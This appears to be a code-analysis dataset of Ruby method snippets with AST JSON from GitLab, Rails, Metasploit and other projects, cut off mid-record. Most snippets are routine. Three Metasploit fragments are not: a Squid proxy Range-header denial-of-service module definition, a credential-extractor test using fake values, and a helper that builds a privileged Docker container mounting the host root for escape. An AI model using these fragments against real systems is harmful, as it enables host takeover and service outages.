{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/blob_helper.rb","start_line":85,"raw_source":"def lines\n      @lines ||=\n        if viewable? && data\n          # `data` is usually encoded as ASCII-8BIT even when the content has\n          # been detected as a different encoding. However, we are not allowed\n          # to change the encoding of `data` because we've made the implicit\n          # guarantee that each entry in `lines` is encoded the same way as\n          # `data`.\n          #\n          # Instead, we re-encode each possible newline sequence as the\n          # detected encoding, then force them back to the encoding of `data`\n          # (usually a binary encoding like ASCII-8BIT). This means that the\n          # byte sequence will match how newlines are likely encoded in the\n          # file, but we don't have to change the encoding of `data` as far as\n          # Ruby is concerned. This allows us to correctly parse out each line\n          # without changing the encoding of `data`, and\n          # also--importantly--without having to duplicate many (potentially\n          # large) strings.\n          begin\n            data.split(encoded_newlines_re, -1)\n          rescue Encoding::ConverterNotFoundError\n            # The data is not splittable in the detected encoding.  Assume it's\n            # one big line.\n            [data]\n          end\n        else\n          []\n        end\n    end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"lines\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@lines\"]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"viewable?\"]},{\"type\":\"send\",\"children\":[null,\"data\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"data\"]},\"split\",{\"type\":\"send\",\"children\":[null,\"encoded_newlines_re\"]},{\"type\":\"int\",\"children\":[-1]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Encoding\"]},\"ConverterNotFoundError\"]}]},null,{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"data\"]}]}]},null]}]},{\"type\":\"array\",\"children\":[]}]}]}]}","id":"316e62fc-ca3d-4260-b929-c412d30354b1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/dos/http/squid_range_dos.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Squid Proxy Range Header DoS',\n        'Description' => %q{\n          The range handler in The Squid Caching Proxy Server 3.0-4.1.4 and\n          5.0.1-5.0.5 suffers from multiple vulnerabilities triggered\n          by specific HTTP requests and responses.\n\n          These vulnerabilities allow remote attackers to cause a\n          denial of service through specifically crafted requests.\n        },\n        'Author' => [\n          'Joshua Rogers' # Discoverer, and Metasploit Module\n        ],\n        'License' => MSF_LICENSE,\n        'Actions' => [\n          ['DOS', { 'Description' => 'Perform Denial of Service Against The Target' }]\n        ],\n        'DefaultAction' => 'DOS',\n        'References' => [\n          [ 'CVE', '2021-31806'],\n          [ 'CVE', '2021-31807'],\n          [ 'URL', 'https://blogs.opera.com/security/2021/10/fuzzing-http-proxies-squid-part-2/']\n        ],\n        'DisclosureDate' => '2021-05-27',\n        'Notes' => {\n          'Stability' => [ CRASH_SERVICE_DOWN ],\n          'Reliability' => [ ],\n          'SideEffects' => [ IOC_IN_LOGS ]\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(3128),\n        OptInt.new('REQUEST_COUNT', [ true, 'The number of requests to be sent, as well as the number of re-tries to confirm a dead host', 50 ]),\n        OptEnum.new('CVE', [\n          true, 'CVE to check/exploit', 'CVE-2021-31806',\n          ['CVE-2021-31806', 'CVE-2021-31807']\n        ]),\n      ]\n    )\n  end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Squid Proxy Range Header DoS\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          The range handler in The Squid Caching Proxy Server 3.0-4.1.4 and\\n\"]},{\"type\":\"str\",\"children\":[\"          5.0.1-5.0.5 suffers from multiple vulnerabilities triggered\\n\"]},{\"type\":\"str\",\"children\":[\"          by specific HTTP requests and responses.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          These vulnerabilities allow remote attackers to cause a\\n\"]},{\"type\":\"str\",\"children\":[\"          denial of service through specifically crafted requests.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Joshua Rogers\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Actions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DOS\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Perform Denial of Service Against The Target\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultAction\"]},{\"type\":\"str\",\"children\":[\"DOS\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2021-31806\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2021-31807\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://blogs.opera.com/security/2021/10/fuzzing-http-proxies-squid-part-2/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2021-05-27\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SERVICE_DOWN\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[3128]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"REQUEST_COUNT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The number of requests to be sent, as well as the number of re-tries to confirm a dead host\"]},{\"type\":\"int\",\"children\":[50]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptEnum\"]},\"new\",{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"CVE to check/exploit\"]},{\"type\":\"str\",\"children\":[\"CVE-2021-31806\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE-2021-31806\"]},{\"type\":\"str\",\"children\":[\"CVE-2021-31807\"]}]}]}]}]}]}]}]}","id":"a0452f7b-dbe1-47f3-ad80-fd8c59847963"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/test/modules/auxiliary/test/report_auth_info.rb","start_line":138,"raw_source":"def test_dlink_dsl320b_password_extractor\n    mod = framework.auxiliary.create('admin/http/dlink_dsl320b_password_extractor')\n    mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_dlink_dsl320b_password_extractor\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mod\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"auxiliary\"]},\"create\",{\"type\":\"str\",\"children\":[\"admin/http/dlink_dsl320b_password_extractor\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"report_cred\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ip\"]},{\"type\":\"const\",\"children\":[null,\"FAKE_IP\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"const\",\"children\":[null,\"FAKE_PORT\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"str\",\"children\":[\"http\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"const\",\"children\":[null,\"FAKE_USER\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"const\",\"children\":[null,\"FAKE_PASS\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"const\",\"children\":[null,\"FAKE_PROOF\"]}]}]}]}]}]}","id":"5bf975fe-3f4d-46d4-a808-dbc92201ce3c"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/core_ext/module/deprecation.rb","start_line":17,"raw_source":"def deprecate(*method_names, deprecator:, **options)\n    if deprecator.is_a?(ActiveSupport::Deprecation)\n      deprecator.deprecate_methods(self, *method_names, **options)\n    elsif deprecator\n      # we just need any instance to call deprecate_methods, but the deprecation will be emitted by deprecator\n      ActiveSupport.deprecator.deprecate_methods(self, *method_names, **options, deprecator: deprecator)\n    end\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"deprecate\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"method_names\"]},{\"type\":\"kwarg\",\"children\":[\"deprecator\"]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deprecator\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Deprecation\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deprecator\"]},\"deprecate_methods\",{\"type\":\"self\",\"children\":[]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method_names\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deprecator\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"deprecator\"]},\"deprecate_methods\",{\"type\":\"self\",\"children\":[]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method_names\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deprecator\"]},{\"type\":\"lvar\",\"children\":[\"deprecator\"]}]}]}]},null]}]}]}","id":"28416601-7d67-4691-ae1e-c225a1dca76e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20241009000001_add_workspace_delayed_termination_fields.rb","start_line":19,"raw_source":"def down\n    with_lock_retries do\n      remove_column :workspaces_agent_configs, :max_active_hours_before_stop, if_exists: true\n      remove_column :workspaces_agent_configs, :max_stopped_hours_before_termination, if_exists: true\n    end\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"workspaces_agent_configs\"]},{\"type\":\"sym\",\"children\":[\"max_active_hours_before_stop\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"workspaces_agent_configs\"]},{\"type\":\"sym\",\"children\":[\"max_stopped_hours_before_termination\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"9910ec59-1fcd-4919-a674-ee685016286a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/docker_daemon_tcp.rb","start_line":127,"raw_source":"def make_container(mnt_path, cron_path, payload_path)\n    vprint_status('Setting container json request variables')\n    {\n      'Image' => datastore['DOCKERIMAGE'],\n      'Cmd' => make_cmd(mnt_path, cron_path, payload_path),\n      'Entrypoint' => %w[/bin/sh -c],\n      'HostConfig' => {\n        'Binds' => [\n          '/:' + mnt_path\n        ],\n        'Privileged' => true,\n        'UsernsMode' => 'host'\n      }\n    }\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"make_container\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mnt_path\"]},{\"type\":\"arg\",\"children\":[\"cron_path\"]},{\"type\":\"arg\",\"children\":[\"payload_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Setting container json request variables\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Image\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DOCKERIMAGE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Cmd\"]},{\"type\":\"send\",\"children\":[null,\"make_cmd\",{\"type\":\"lvar\",\"children\":[\"mnt_path\"]},{\"type\":\"lvar\",\"children\":[\"cron_path\"]},{\"type\":\"lvar\",\"children\":[\"payload_path\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Entrypoint\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"/bin/sh\"]},{\"type\":\"str\",\"children\":[\"-c\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"HostConfig\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Binds\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"/:\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"mnt_path\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"UsernsMode\"]},{\"type\":\"str\",\"children\":[\"host\"]}]}]}]}]}]}]}","id":"18aae9ca-dd99-4770-bdb9-b220f2237063"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb","start_line":585,"raw_source":"def create_column_definition(name, type, options)\n          unless options[:_skip_validate_options]\n            options.except(:_uses_legacy_reference_index_name, :_skip_validate_options).assert_valid_keys(valid_column_definition_options)\n          end\n\n          ColumnDefinition.new(name, type, options)\n        end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"create_column_definition\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"_skip_validate_options\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"except\",{\"type\":\"sym\",\"children\":[\"_uses_legacy_reference_index_name\"]},{\"type\":\"sym\",\"children\":[\"_skip_validate_options\"]}]},\"assert_valid_keys\",{\"type\":\"send\",\"children\":[null,\"valid_column_definition_options\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ColumnDefinition\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"2158b482-d0a7-4b4c-9d88-b2e66c25a49e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/matchers/invoke_rop_steps.rb","start_line":74,"raw_source":"def validate_main_class(main_class)\n    raise \"'main_class' argument must be a Class, but was a #{main_class.class}\" unless main_class.is_a?(Class)\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_main_class\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"main_class\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"main_class\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Class\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"'main_class' argument must be a Class, but was a \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"main_class\"]},\"class\"]}]}]}]}]}]}","id":"49d7c000-44a3-4ba5-b4bd-090a08190d98"}
{"repo_name":"blueprinter","file_path":"./repos/blueprinter/lib/generators/blueprinter/blueprint_generator.rb","start_line":63,"raw_source":"def introspected_fields\n        class_name.constantize.columns_hash.keys\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"introspected_fields\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"class_name\"]},\"constantize\"]},\"columns_hash\"]},\"keys\"]}]}","id":"1c085cd9-4394-42cc-903b-2ad6ffc91d87"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/variables_controller.rb","start_line":19,"raw_source":"def update\n    update_result = Ci::ChangeVariablesService.new(\n      container: @project, current_user: current_user,\n      params: variables_params\n    ).execute\n\n    if update_result\n      respond_to do |format|\n        format.json { render_variables }\n      end\n    else\n      respond_to do |format|\n        format.json { render_error }\n      end\n    end\n  end","complexity_score":18.8,"ast_json":"{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"update_result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"ChangeVariablesService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"container\"]},{\"type\":\"ivar\",\"children\":[\"@project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[null,\"variables_params\"]}]}]}]},\"execute\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"update_result\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"json\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render_variables\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"json\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render_error\"]}]}]}]}]}]}","id":"94dfcd46-8618-4914-9212-4bfa8a121312"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/users/activate_service.rb","start_line":37,"raw_source":"def log_event(user)\n      Gitlab::AppLogger.info(\n        message: 'User activated',\n        username: user.username.to_s,\n        user_id: user.id,\n        email: user.email.to_s,\n        activated_by: current_user.username.to_s,\n        ip_address: current_user.current_sign_in_ip.to_s\n      )\n    end","complexity_score":15.8,"ast_json":"{\"type\":\"def\",\"children\":[\"log_event\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"AppLogger\"]},\"info\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"User activated\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"username\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"email\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"activated_by\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"username\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ip_address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"current_sign_in_ip\"]},\"to_s\"]}]}]}]}]}","id":"25657fc4-0468-4ee2-a66c-48351bb89dba"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/chargeback/consumption_with_rollups.rb","start_line":70,"raw_source":"def tag_list_with_prefix\n      @tag_list_with_prefix ||= rollup_records.map { |rollup| tag_list_with_prefix_for(rollup) }.flatten.uniq\n    end","complexity_score":9.1,"ast_json":"{\"type\":\"def\",\"children\":[\"tag_list_with_prefix\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@tag_list_with_prefix\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rollup_records\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rollup\"]}]},{\"type\":\"send\",\"children\":[null,\"tag_list_with_prefix_for\",{\"type\":\"lvar\",\"children\":[\"rollup\"]}]}]},\"flatten\"]},\"uniq\"]}]}]}","id":"2d88baa0-6aca-4bbb-b2be-40be11033666"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/executor_test.rb","start_line":89,"raw_source":"def test_avoids_double_wrapping\n    called = []\n    executor.to_run { called << :run }\n    executor.to_complete { called << :complete }\n\n    executor.wrap do\n      called << :early\n      executor.wrap do\n        called << :body\n      end\n      called << :late\n    end\n\n    assert_equal [:run, :early, :body, :late, :complete], called\n  end","complexity_score":21.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_avoids_double_wrapping\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"called\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"executor\"]},\"to_run\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"called\"]},\"<<\",{\"type\":\"sym\",\"children\":[\"run\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"executor\"]},\"to_complete\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"called\"]},\"<<\",{\"type\":\"sym\",\"children\":[\"complete\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"executor\"]},\"wrap\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"called\"]},\"<<\",{\"type\":\"sym\",\"children\":[\"early\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"executor\"]},\"wrap\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"called\"]},\"<<\",{\"type\":\"sym\",\"children\":[\"body\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"called\"]},\"<<\",{\"type\":\"sym\",\"children\":[\"late\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"run\"]},{\"type\":\"sym\",\"children\":[\"early\"]},{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"sym\",\"children\":[\"late\"]},{\"type\":\"sym\",\"children\":[\"complete\"]}]},{\"type\":\"lvar\",\"children\":[\"called\"]}]}]}]}","id":"960d0656-2aec-4544-921c-0b9e4292ce96"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/sidekiq/pausable.rb","start_line":53,"raw_source":"def stop_extend_lease_thread\n    # should always be called from a mutex\n    if t = @extend_lease_thread\n      @extend_lease_thread = nil\n      while t.alive?\n        begin\n          t.wakeup\n        rescue ThreadError => e\n          raise e unless e.message =~ /killed thread/\n        end\n\n        sleep 0\n      end\n    end\n  end","complexity_score":16.1,"ast_json":"{\"type\":\"def\",\"children\":[\"stop_extend_lease_thread\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"ivar\",\"children\":[\"@extend_lease_thread\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@extend_lease_thread\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"alive?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"wakeup\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ThreadError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"s